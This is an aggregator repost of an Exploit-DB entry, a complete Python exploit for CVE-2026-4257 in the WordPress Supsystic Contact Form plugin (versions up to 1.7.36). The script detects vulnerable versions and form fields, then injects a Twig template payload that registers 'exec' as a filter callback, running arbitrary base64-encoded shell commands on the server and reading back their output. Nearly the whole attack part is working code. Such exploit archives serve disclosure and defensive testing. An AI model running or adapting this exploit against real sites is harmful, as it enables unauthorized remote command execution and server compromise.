惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The GitHub Blog
The GitHub Blog
Jina AI
Jina AI
月光博客
月光博客
博客园 - Franky
小众软件
小众软件
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
V
Visual Studio Blog
有赞技术团队
有赞技术团队
V
V2EX
IT之家
IT之家
阮一峰的网络日志
阮一峰的网络日志
Stack Overflow Blog
Stack Overflow Blog
H
Help Net Security
Apple Machine Learning Research
Apple Machine Learning Research
腾讯CDC
D
DataBreaches.Net
Hugging Face - Blog
Hugging Face - Blog
Martin Fowler
Martin Fowler
罗磊的独立博客
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
WordPress大学
WordPress大学
C
Check Point Blog
Microsoft Azure Blog
Microsoft Azure Blog
Microsoft Security Blog
Microsoft Security Blog

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
bootstrapbool · 2026-05-14 · via Exploit-DB.com RSS Feed

WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
    OKGREEN = "\033[32m"
    WARNING = "\033[33m"
    FAIL = "\033[31m"
    ENDC = "\033[0m"
    NOCOLOR = False
    VERBOSE = False

    @classmethod
    def print(cls, message: str, status: str = None):

        if cls.NOCOLOR:
            print(message)
            return

        match status:
            case "FAIL":
                print(f"{cls.FAIL}{message}{cls.ENDC}")
            case "WARNING":
                print(f"{cls.WARNING}{message}{cls.ENDC}")
            case "SUCCESS":
                print(f"{cls.OKGREEN}{message}{cls.ENDC}")
            case _:
                print(message)

    @classmethod
    def vprint(cls, message: str, status: str = None):
        if cls.VERBOSE:
            cls.print(message, status)

def get_page(url: str) -> str:

    try:
        res = requests.get(url)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return res.text

def get_version(body: str) -> str | None:
    pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

    match = re.search(pattern, body)

    if match:
        return match.group(1)

def is_vulnerable(version: str) -> bool:

    try:
        major, minor, patch = map(int, version.split("."))
        return (major, minor, patch) <= (1, 7, 36)
    except:
        status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
    version = get_version(body)

    vulnerable = is_vulnerable(version)
    if vulnerable:
        status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
    elif vulnerable != None:
        status.vprint(
            f"Detected version {version} is not vulnerable.",
            "WARNING")

def detect_fields(body: str) -> list[str] | None:
    """Automatically attempt to get Contact Form fields to use for SSTI"""

    pattern = r'data-name="([^"]+)"'

    field_names = list(set(re.findall(pattern, body)))

    if field_names:
        status.print(f"Detected fields: {field_names}", "SUCCESS")
        return field_names

def handle_field(body: str, field: str | None) -> str:

    if field:
        return field

    fields = detect_fields(body)

    if fields is not None:
        status.vprint(f"Using automatically detected field: {fields[0]}")

        return fields[0]

    status.print("Failed to detect fields.", "FAIL")
    exit(1)

def get_output(field: str, body: str) -> str | None:

    pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
    match = re.search(pattern, body)

    if match:
        return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

    utf8_var = "{%set a%}UTF-8{%endset%}"
    base64_var = "{%set b%}BASE64{%endset%}"

    twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

    # The () ensures the variables are not treated as string literals
    twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

    register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

    exec_filter = "{{_self.env.getFilter(p)}}"

    ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
    status.vprint(f"Payload: {payload}")

    params = {
        "cfsPreFill": 1,
        field: ssti_payload}

    try:
        res = requests.get(url, params)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return get_output(field, res.text)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--field",
        type = str,
        help = ("Valid field part of the Contact Form. The defaults are "
            + "first_name, last_name, subject, message, and email. Though it's "
            + "possible for none of these fields to appear. Not all field types"
            + "work. The tested field types that are confirmed to work are"
            + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
            + "work."))
    parser.add_argument(
        "--no-color",
        action = "store_true",
        help = "If you dont want pretty colors in your output.")
    parser.add_argument(
        "--verbose",
        "-v",
        action = "store_true")
    parser.add_argument(
        "url",
        type = str,
        help = ("Full URL to page with vulnerable Contact Form component. " \
            + "Ex: http://localhost:4444/sample.php"))
    parser.add_argument(
        "payload",
        type = str,
        default = None,
        help = ("Shell commands to be executed."))

    args = parser.parse_args()

    status.NOCOLOR = args.no_color
    status.VERBOSE = args.verbose

    body = get_page(args.url)

    detect_version(body)
    field = handle_field(body, args.field)

    output = exploit(args.url, args.payload, field)

    if output:
        if output.lower() == field.lower():
            status.print(
                "Output is same as field. Maybe try a different field?",
                "WARNING")
        status.print(output)
    else:
        status.print(
            f"Failed to extract output with field '{field}'",
            "FAIL")

if __name__ == "__main__":
    main()